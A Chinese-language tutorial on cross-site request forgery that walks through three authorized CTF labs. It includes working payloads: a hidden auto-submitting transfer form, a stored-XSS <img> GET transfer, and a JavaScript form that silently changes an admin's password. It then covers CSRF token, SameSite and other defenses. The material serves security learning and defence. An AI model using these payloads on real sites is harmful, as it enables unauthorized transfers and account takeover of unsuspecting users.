CSRF 的本质只有一句话:我让你(已登录用户)的浏览器,替我发一个请求。 本文按「原理 → GET/POST 两种类型 → 三个递进靶场 → XSS 对比 → 防御」组织,靶场难度从 1 级递进到高阶。
⚠️ 本文所有测试均在授权靶场中完成,仅用于安全学习与防御研究,请勿用于未授权目标。
一、CSRF 核心原理
1.1 什么是 CSRF
全称:Cross-Site Request Forgery(跨站请求伪造)
定义:攻击者诱导受害者进入第三方网站,在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已获取的凭证(Cookie),绕过后台验证,达到冒充用户执行操作的目的。
翻译成大白话:
我不需要知道你的密码,也不需要偷你的 Cookie。我只需要让你的浏览器,用你已登录的身份,替我把这个请求发出去。
1.2 根因:浏览器的"自动带 Cookie"机制
这是理解 CSRF 的唯一关键点。
只要用户登录过某网站,浏览器就保存了该站的 Cookie。此后,无论请求是从哪个页面发起的——哪怕发起方是一个完全无关的恶意网站——只要请求的目标域名是该网站,浏览器都会自动在请求头里带上这个 Cookie。
受害者在 bank.com 登录 → 浏览器存下 session Cookie
↓
受害者访问 evil.com(恶意站)
↓
evil.com 偷偷向 bank.com/transfer 发请求
↓
浏览器自动附上 bank.com 的 Cookie ← 服务器无法分辨这是不是本人操作
↓
银行验证 Cookie 有效 → 执行转账
📌 "自动带 Cookie"是浏览器的正常特性,不是 Bug。 正是它让 Web 会话机制得以工作,也正因如此,才有了 CSRF。
1.3 漏洞成立的三个条件
| 1 | 用户已登录目标站 | 浏览器里存在有效的会话 Cookie |
| 2 | 请求参数可预测 | 敏感操作的参数是固定的,没有不可预测的 Token |
| 3 | 无二次验证 | 操作不需要重新输入原密码、短信验证码等 |
攻击侧的前提:攻击者能构造恶意页面,并让受害者访问它。
💡 反过来看,这三条就是防御的着手点:加 Token、加二次验证、让浏览器不带 Cookie(SameSite)。
1.4 澄清:为什么叫"跨站"
因为请求的发起方(恶意站 evil.com)与目标(被攻击站 bank.com)不同站。
⚠️ 本笔记靶场的一处简化:为了演示方便,靶场把恶意页面和被攻击系统放在了同一台主机上(如 /evil 与 /transfer)。真实场景中,恶意页面位于第三方域名。不过核心机制——"浏览器自动带 Cookie"——不受影响,跨站照样成立。
💡 写真实 payload 的注意事项:表单的 action 要写成绝对地址(http://bank.com/transfer)。靶场里写相对路径 /transfer 能通,是因为恶意页和银行在同一主机;真实跨站时,相对路径会提交到恶意站自己,攻击直接失败。
1.5 GET 型与 POST 型
三个靶场正好覆盖这两种类型:
| GET 型 | URL 查询串 | <img>、<iframe>、<script> | 页面加载即自动发送,无需交互 |
| POST 型 | 请求体 | <form> + JS 自动提交 | 需构造表单并 submit() |
二、靶场一:CSRF 模拟演练场(1 级 · 隐藏表单)
2.1 靶场信息
| 靶场名称 | CSRF 模拟演练场 |
| 难度 | 1 级(入门) |
| 考察点 | 理解 CSRF 原理,掌握基础的 CSRF 利用方式 |
| 核心场景 | 模拟银行转账系统 + 恶意中奖网站 |
2.2 第一步:抓包分析正常流程
在银行系统 /dashboard 点击"发起转账",输入目标账号 bob、金额 100
用 Burp Suite 抓下这个请求,记录关键信息:
| 请求方法 | POST |
| 请求 URL | /transfer |
| 请求参数 | to_user=bob&amount=100 |
| 请求头 | Cookie: session=…;Referer 为银行系统自身域名 |
关键发现:请求参数里没有 Token。 参数完全可预测 → 存在 CSRF 漏洞。
2.3 第二步:构造恶意页面
靶场提供了一个恶意网站(路径 /evil),伪装成"免费礼物网站"。核心源码:
<!– 1. 隐藏的 CSRF 表单(用户不可见) –>
<form id="csrf-form" method="POST" action="/transfer" class="hidden-form">
<input type="hidden" name="to_user" value="bob">
<input type="hidden" name="amount" value="100">
</form>
<!– 2. 诱导用户点击的按钮 –>
<button onclick="executeCSRF()" class="claim-btn">🚀 立即领取奖金!</button>
<!– 3. 触发攻击的 JavaScript –>
<script>
function executeCSRF() {
const resultDiv = document.getElementById('attack-result');
resultDiv.style.display = 'block';
resultDiv.innerHTML = '…正在执行CSRF攻击…';
// 延迟 1 秒后,自动提交隐藏表单
setTimeout(() => {
document.getElementById('csrf-form').submit();
}, 1000);
}
</script>
代码逻辑解析:
| class="hidden-form" + CSS display:none | 让表单在页面上完全不可见 |
| action="/transfer" | 指向银行系统的转账接口 |
| method="POST" + input type="hidden" | 把转账参数藏在请求体里 |
执行流程:用户点击按钮 → 触发 executeCSRF() → 延迟 1 秒 → form.submit() → 浏览器自动带上银行系统的 Cookie。
💡 为什么要延迟 1 秒? 纯粹是视觉欺骗,让受害者看到"正在处理"的提示。技术上可以立即提交,也可以去掉按钮改成页面加载即自动提交。
2.4 第三步:抓包验证攻击效果
用户点击恶意网站的按钮后,Burp 里能看到:
POST /transfer HTTP/1.1
Host: hbc2.haobachang.com
…
Referer: http://站点:端口/evil <– 关键证据:请求来自恶意页面
Cookie: session=eyJ1c2… <– 致命一击:浏览器自动带上了登录凭证
Content-Type: application/x-www-form-urlencoded
to_user=bob&amount=100
响应结果:HTTP/1.1 302 FOUND → Location: /dashboard
服务器验证 Cookie 有效,执行转账逻辑,攻击成功。
两个铁证:Referer 指向恶意页面、Cookie 被浏览器自动携带——这就是 CSRF 的全部秘密。
2.5 攻击链全景
① 攻击者抓包,摸清转账接口(POST /transfer,无 Token)
↓
② 在恶意页面埋一个隐藏表单,参数写死为「给 bob 转 100」
↓
③ 诱导受害者访问恶意页面("免费礼物网站")
↓
④ 表单自动提交 → 浏览器自动附上 bank.com 的 Cookie
↓
⑤ 服务器认为是本人操作 → 转账成功
三、靶场二:入门 CSRF(2 级 · XSS + GET 型组合拳)
这一关的精彩之处在于:单纯 CSRF 打不通,必须先把 XSS 当作"跳板"。
3.1 环境与核心矛盾
| 技术栈 | PHP 7.4.27 + Nginx 1.18.0 |
| 初始账号 | user / password |
| 初始余额 | 500 元 |
| Flag 售价 | 1000 元 |
| 可利用功能 | 转账、给 admin 留言 |
核心矛盾:余额 500 < 售价 1000,而且 user 自己也没钱可转。
破局方向只有一个:想办法花别人的钱。
3.2 破局思路:攻击链组合
系统里有个"给 admin 留言"的功能,通常是 Bot 自动查看留言。这就打开了思路——借用 admin 的高权限:
| 1. 入口 | 留言板存在存储型 XSS(未过滤 HTML/JS) | 把代码塞进 admin 会看的页面 |
| 2. 武器 | 构造 GET 型 CSRF payload,伪装成留言内容 | 用 admin 的 Cookie 发起转账 |
| 3. 触发 | admin(Bot)查看留言时,恶意 JS 自动执行 | 攻击落地 |
3.3 第一步:抓包,发现 GET 转账接口
在 user 页面点击"转账",Burp 抓包:
GET /transfer.php?to_user=user&amount=10000 HTTP/1.1
Host: 站点:端口
Cookie: PHPSESSID=…; session=…
结论:转账接口是 GET 请求,参数直接暴露在 URL 中,且没有 CSRF Token。 连表单都不用构造,一个 URL 就能打完。
3.4 第二步:构造 XSS Payload
利用 <img> 标签的 src 属性自动发起 GET 请求,并用 display:none 让它不可见:
<img src="http://站点:端口/transfer.php?to_user=user&amount=10000" style="display:none;">
攻击原理:
admin 的浏览器加载这段 HTML 时,会自动向 src 中的 URL 发起请求
由于请求由 admin 的浏览器发起,自动携带了 admin 的 Cookie
服务器验证 Cookie 有效 → 执行转账:admin −10000,user +10000
3.5 第三步:触发管理员 Bot
把上述 payload 填入"给 admin 留言"输入框并提交
靶场后台启动 Headless Browser(无头浏览器),以 admin 的登录状态访问留言页面
Bot 解析到恶意 <img> 标签,自动触发请求
页面返回"admin 已收到您的留言",同时 user 余额刷新为 10500 元
3.6 第四步:购买 Flag
余额充足(10500 > 1000),点击"购买 Flag",通关。
3.7 复盘:XSS 与 CSRF 的分工
| 存储型 XSS | 在受害者浏览器中执行恶意 JS | 攻击入口:通过留言板注入代码 |
| GET 型 CSRF | 利用受害者 Cookie 发起请求 | 攻击载荷:用 <img> 自动发起转账 |
| Bot 机制 | 模拟管理员操作,触发漏洞 | 触发条件:留言后 Bot 自动查看 |
这一关的启示:CSRF 单独使用时需要"诱导点击",而 XSS 让这一步自动化了——admin 甚至什么都没点,钱就没了。
四、靶场三:POST 型 CSRF( 托管页面 + 定时 Bot)
4.1 环境与关键机制
| 初始账号 | user / user |
| 功能 1 | 管理 HTML 页面:允许提交任意 HTML,保存为 /static/poc.html |
| 功能 2 | 修改密码:敏感操作,本次的攻击目标 |
| 关键机制 | 系统每 30 秒自动访问 /static/poc.html(模拟 admin 的 Bot 定时任务) |
4.2 破局思路:白送的"恶意页面托管"
正常打 CSRF,攻击者得自己搭个网站放恶意页面。而这一关的靶场自带 HTML 托管功能——等于白送一个攻击载体:
不用自己搭 VPS,直接把 payload 写进靶场自己的 /static/poc.html。等 Bot 来访问,payload 自动执行。
4.3 第一步:抓包,锁定攻击目标
点击左侧菜单"修改密码",先正常改一次密码
Burp 抓包,关键发现:
| 请求方法 | POST(不能用 <img>,必须构造表单) |
| 请求 URL | /change_password |
| 请求参数 | new_password=123456 |
| CSRF Token | 无 → 存在漏洞 |
| 响应状态码 | 302(修改成功后重定向) |
4.4 第二步:构造自动提交的 POST 表单
用 JavaScript 动态创建并提交表单:
<!DOCTYPE html>
<html>
<head>
<title>密码修改</title>
</head>
<body>
<script>
// 页面加载后自动提交 POST 请求
window.onload = function() {
const url = '/change_password';
// 创建表单
const form = document.createElement('form');
form.method = 'POST';
form.action = url;
form.style.display = 'none';
// 添加密码字段
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'new_password';
input.value = '123456';
form.appendChild(input);
document.body.appendChild(form);
// 提交表单
form.submit();
};
</script>
<p>正在提交密码修改请求,请稍候…</p>
</body>
</html>
三种自动提交写法对比:
| window.onload + 动态建 form + submit() | 本靶场用法,最灵活,适合注入场景 |
| <body onload="document.forms[0].submit()"> | 最短,但表单必须已写在 HTML 里 |
| <form> 静态写死 + <script>form.submit()</script> | 简单直接 |
4.5 第三步:提交 Payload 并等待 Bot
把上述 HTML 粘贴到"管理 HTML 页面"并提交
代码被写入 /static/poc.html
等待 30 秒以上,让靶场的定时任务访问该页面
Bot 的浏览器解析 <script>,自动向 /change_password 发送 POST 请求
关键:因为是 Bot 发起的请求,浏览器自动带上了 admin 的 Cookie
服务器验证通过 → admin 的密码被改成 123456
4.6 第四步:验证攻击并获取 Flag
退出 user 账号
用 admin / 123456 登录
登录成功 → 拿到 Flag
4.7 复盘:这是一次"盲打"
攻击者看不到 Bot 发出的请求,也无法直接读取响应,只能通过结果(能否用新密码登录成功)来验证攻击是否得手。
这是 CTF 靶场中非常常见的"盲打"模式,和 SQL 盲注的思路一致:没有直接回显时,就找一个可观察的副作用来推断结果。
五、XSS 与 CSRF 的区别
这两个漏洞经常被混为一谈,其实差别很大。
5.1 两个比喻
XSS = 小偷亲自溜进你家
小偷趁你不注意溜进你家(网站),躲进衣柜(网页代码)。等你回家(打开网页),他就穿着你的衣服、用你的手机、花你的钱。
CSRF = 骗子冒充你去银行签字
骗子伪造了一张你的签名(请求),骗银行柜员(服务器)说这是你本人要转账。柜员一看签名(Cookie)是真的,就把钱转走了——而你根本不知道这件事。
5.2 一句话区分
XSS 是"我在你的浏览器里执行代码"。 CSRF 是"我让你的浏览器替我发请求"。
5.3 核心区别对照表
| 攻击目标 | 用户(偷用户的数据) | 服务器(骗服务器执行操作) |
| 利用的信任 | 网站信任用户输入的内容 | 网站信任用户浏览器带来的 Cookie |
| 攻击者要做什么 | 往网页里注入恶意 JS 代码 | 构造一个伪造请求的页面 / 链接 |
| 受害者要做什么 | 只要打开网页就中招 | 需要访问恶意页面(或点击链接) |
| 能偷到 Cookie 吗 | ✅ 能(这是 XSS 的主要目标) | ❌ 不能(只是"借用"Cookie 发请求) |
| 典型危害 | 盗号、篡改网页、窃取隐私 | 转账、改密码、发帖、关注 |
| 防御核心 | 输出编码 | CSRF Token / SameSite |
📌 最容易记混的一点:CSRF 偷不到 Cookie。它不需要知道 Cookie 的内容,只是"借着"浏览器会自动携带 Cookie 这个特性,把请求发出去。
5.4 组合拳为什么最危险
| 纯 CSRF | 需要诱导受害者点击链接或访问页面,依赖社工 |
| XSS + CSRF | XSS 让请求自动发出,受害者毫无感知,无需社工 |
本笔记的靶场二就是标准范例:XSS 负责"把代码送进去",CSRF 负责"用管理员权限干坏事"。
六、防御总览
6.1 按强度排序的防御措施
| CSRF Token | 表单里带一个随机、不可预测的 Token,后端校验 | ⭐ 最主流 |
| SameSite Cookie | 跨站请求不带 Cookie | ⭐ 浏览器层兜底 |
| 二次验证 | 敏感操作要求重新输密码 / 短信码 | 很强 |
| 验证旧密码 | 改密码时强制输入原密码 | 该场景几乎无敌 |
| 校验 Origin / Referer | 拒绝非本站来源的请求 | 辅助 |
| 敏感操作改用 POST | 抬高利用门槛(还要校验 Content-Type) | 辅助 |
CSRF Token 的实现要点:
// 1. 生成并存进 session(每个会话一个,或每次请求一个)
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
// 2. 表单里带上它
// <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
// 3. 后端校验(用 hash_equals 做恒定时间比较,防时序攻击)
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'] ?? '')) {
http_response_code(403);
exit('CSRF token 校验失败');
}
💡 为什么 Token 有效?因为恶意网站受同源策略限制,读不到目标站的页面内容,自然拿不到 Token。
6.2 重要细节:SameSite 不是万能的
现代浏览器默认 SameSite=Lax,它的行为需要精确理解:
| 跨站 POST(表单提交) | ❌ 不带 |
| 跨站子资源请求(<img>、<iframe>、<script>) | ❌ 不带 |
| 跨站顶级 GET 导航(用户点击链接跳转) | ✅ 仍然带 |
两个直接推论:
靶场二那种 <img> 型 GET CSRF,会被 Lax 挡掉(属于子资源请求)
但如果换成诱导用户点击链接(<a href="http://bank.com/transfer?to_user=attacker&amount=1000">点击领取奖励</a>),Lax 挡不住——顶级导航会带 Cookie
⚠️ 结论:SameSite 不是银弹。 敏感操作必须改成 POST,再配合 Token 才稳妥。GET 型接口天然更容易被 CSRF。
6.3 周边防御(别忽视)
| 修复 XSS | 对用户输入做 HTML 实体编码。否则 XSS 会成为 CSRF 的跳板(靶场二就是教训) |
| HTML 托管类功能 | 严格过滤 <script>、<form> 等危险标签,并配置 CSP 禁止内联脚本 |
| 权限隔离 | 管理员查看用户内容时,应在沙箱或独立浏览器中进行,避免带着高权限 Cookie 直接访问用户提交的内容 |
| 最小权限 | 管理员账号不应拥有直接转账权限,或必须二次验证 |
6.4 延伸:JSON 型 CSRF
| 接口严格要求 Content-Type: application/json | ❌ 较难。HTML 表单发不出这个 Content-Type |
| 服务端接受 text/plain 却按 JSON 解析 | ⚠️ 可被利用 |
| CORS 配置不当(如 Access-Control-Allow-Origin: * 且允许携带凭证) | ⚠️ 可被利用 |
💡 老资料里常提"JSON 型 CSRF 需要配合 Flash",但 Flash 已于 2020 年停止支持,现在不必再考虑这条路径。
七、总结
7.1 三个靶场串起来看
| CSRF 模拟演练场 | 1 级 | POST 型 | 隐藏表单 + 诱导点击 |
| 入门 CSRF | 2 级 | GET 型 + XSS | 存储型 XSS 注入留言板 → Bot 触发 → <img> 发起转账 |
| POST-CSRF 入门 | 高阶 | POST 型 + Bot | 靶场自带 HTML 托管 → 定时 Bot 访问 → 自动提交改密表单 |
递进关系:从"需要诱导点击"→"XSS 自动触发"→"托管页面 + 定时 Bot 全自动",攻击者的介入越来越少。
7.2 一句话收尾
CSRF 就是"借用你的身份,替你做决定"。 防御的核心:让攻击者伪造的请求,无法通过服务器的校验。
CSRF Token 是主力,SameSite 是兜底,敏感操作必须用 POST。
网硕互联帮助中心






评论前必须登录!
注册